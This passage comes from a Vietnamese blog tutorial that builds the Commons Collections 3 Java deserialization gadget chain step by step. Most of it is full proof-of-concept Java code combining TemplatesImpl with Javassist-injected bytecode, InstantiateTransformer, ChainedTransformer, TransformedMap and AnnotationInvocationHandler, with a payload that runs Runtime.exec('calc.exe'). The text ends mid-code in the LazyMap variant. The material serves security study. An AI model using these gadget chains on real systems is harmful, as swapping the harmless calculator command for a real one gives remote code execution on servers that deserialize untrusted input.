_nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates&#125;);</span><br><span class="line">        instantiateTransformer.transform(TrAXFilter.class);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="ChainedTransformed"><a href="#ChainedTransformed" class="headerlink" title="ChainedTransformed"></a>ChainedTransformed</h3><p>Tương tự như <code>InvokerTransformer.transform</code>, <code>InstantiateTransformer</code> implements Transformer nên thằng này có thể cho vào <code>ChainedTransformed</code>.<br>Lợi ích của việc này như ở cc1-TransformedMap mình đã nói đó là chúng ta có thể trực tiếp thực thi mà không cần điều khiển đầu vào của hàm <code>transform()</code> bằng cách sử dụng <code>ConstantTransformer</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc3</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates&#125;);</span><br><span class="line">        <span class="comment">//instantiateTransformer.transform(TrAXFilter.class);</span></span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line">                instantiateTransformer</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span><span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        chainedTransformer.transform(<span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tương tự như cc1, các bạn có thể nhìn vào sơ đồ ở đầu bài viết, từ ChainedTransformed chúng ta có hai hướng đó là kết hợp với TransformedMap, hoặc Lazymap để tạo thành một chain.</p><p>Hai cái này mình đã có bài viết về nó nên mình sẽ dùng lại luôn. Nếu muốn giải thích kĩ hơn thì các bạn xem lại ở bài viêt trước nhé~</p><h3 id="ChainedTransformed-TransformedMap"><a href="#ChainedTransformed-TransformedMap" class="headerlink" title="ChainedTransformed + TransformedMap"></a>ChainedTransformed + TransformedMap</h3><p>Tiếp đến ta chỉ cần thêm đoạn này để trigger <code>ChainedTransformer.transform</code>.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(), <span class="literal">null</span>, chainedTransformer);</span><br><span class="line">        map.put(<span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="keyword">for</span>(Map.Entry entry : map.entrySet())&#123;</span><br><span class="line">            entry.setValue(<span class="literal">null</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>POC đến giai đoạn hiện tại:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc3</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates&#125;);</span><br><span class="line">        <span class="comment">//instantiateTransformer.transform(TrAXFilter.class);</span></span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line">                instantiateTransformer</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span><span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(), <span class="literal">null</span>, chainedTransformer);</span><br><span class="line">        map.put(<span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="keyword">for</span>(Map.Entry entry : map.entrySet())&#123;</span><br><span class="line">            entry.setValue(<span class="literal">null</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Hoàn thiện chain:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc3</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates&#125;);</span><br><span class="line">        <span class="comment">//instantiateTransformer.transform(TrAXFilter.class);</span></span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line">                instantiateTransformer</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span><span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        <span class="comment">//chainedTransformer.transform(null);</span></span><br><span class="line"></span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(<span class="string">&quot;value&quot;</span>, <span class="string">&quot;test-value&quot;</span>);</span><br><span class="line">        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(hashMap, <span class="literal">null</span>, chainedTransformer);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihClassConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihClassConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihObject</span> <span class="operator">=</span> aihClassConstructor.newInstance(Target.class, map);</span><br><span class="line">        serialize(aihObject);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Xây dựng xong chạy lên thì không thấy máy tính bật :) check đi check lại, tưởng là có vấn đề gì hóa ra jdk-1.8.0_342 mình đặt tên là 1.8.0_65 nên không chạy được :).</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2023/03/20/CommonsCollections3/TransformedMapResult.png"></p><p>Cái phần này mình chỉ lấy lại template từ bài viết trước, nếu các bạn chưa xem thì xem bài đó để hiểu nó là gì nhé~</p><h3 id="ChainedTransformed-LazyMap"><a href="#ChainedTransformed-LazyMap" class="headerlink" title="ChainedTransformed + LazyMap"></a>ChainedTransformed + LazyMap</h3><p>Chain hoàn chỉnh:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc3</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span 